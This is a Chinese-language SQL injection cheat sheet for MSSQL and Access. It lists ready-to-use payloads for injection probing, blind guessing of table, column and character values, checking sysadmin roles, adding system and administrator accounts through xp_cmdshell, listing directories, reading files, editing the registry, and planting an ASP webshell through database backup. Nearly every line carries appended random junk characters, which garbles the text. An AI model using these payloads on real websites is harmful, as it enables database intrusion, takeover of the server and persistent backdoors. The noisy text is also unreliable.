1.判断是否有注入;and 1=1 ;and 1=2 *oeXmY
2.初步判断是否是mssql ;and user>0 ^N[ Cip}8
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3.注入参数是字符'and [查询条件] and ''=' Ws7fWK;
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' u
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5.判断数据库系统 Lui6;NY
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;and (select count(*) from sysobjects)>0 mssql +uSp3gE"
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;and (select count(*) from msysobjects)>0 access iLIb-d?!a&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 !yPy@eP~
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 e"wzb< b
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5I,NvHD4
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9.(1)猜字段的ascii值(access) A$N%deb
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >\^oCbqF}~
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(2)猜字段的ascii值(mssql) ZzNHEV
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .B-b51Uz
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10.测试权限结构(mssql) _AFje
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- kmC0.\
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6WQN!H8+^
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ?g{[U0)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- yNXYS
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- iAQ[;M3p
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- p\6}<b"p
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;and 1=(select IS_MEMBER('db_owner'));-- C5-u86F
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11.添加mssql和系统的帐户 t`E5bWG
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;exec master.dbo.sp_addlogin username;-- XWAIW=.
;exec master.dbo.sp_password null,username,password;-- Ewp2 1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- z^`4n_(Ygu
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;exec master.dbo.xp_cmdshell 'net user username password &Pm@+ML*x
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- PdVx&BL*
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- :t!J
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- rgCC3TX
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12.(1)遍历目录 eA2*}"W
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;create table dirs(paths varchar(100), id int) Xe\}(O
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 72xf|s=
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;and (select top 1 paths from dirs)>0 S+[,\>pY
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {$[0YRNk
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(2)遍历目录 u`Nrg<
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- qXq#A&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 @HMH>;haE
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5OGwOZAj52
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !gRU;ZQU_
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 y~#5!:Be
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13.mssql中的存储过程 uGXvP(Pg'
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xp_regenumvalues 注册表根键, 子键 W`_Wi*z4
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6zU0 8z0-
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xp_regread 根键,子键,键值名 ~l'[P=R+8
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 `_Iyr3HAf
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xp_regwrite 根键,子键, 值名, 值类型, 值 Th%w-19,8
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Om:Gun\%
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xp_regdeletevalue 根键,子键,值名 :jTbzDqQ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 d:&cq8^
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w\d1
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14.mssql的backup创建webshell %iIr %P?
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use model nSo.,72
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create table cmd(str image); ^v;8 (eF
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insert into cmd(str) values (''); f~=e
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backup database model to disk='c:\l.asp'; su\Lxv
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15.mssql内置函数 uKIR$n"
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;and (select @@version)>0 获得Windows的版本号 0""%@X]m
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa cru&nH*O^
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;and (select user_name())>0 爆当前系统的连接用户 dXt@x8E
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;and (select db_name())>0 得到当前连接的数据库 {2g?+8L$Z
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16.简洁的webshell K nn<q=';G
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use model b7M )
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create table cmd(str image); :oZ~&H5Q
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insert into cmd(str) values ('');
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backup database model to disk='g:\wwwtest\l.asp';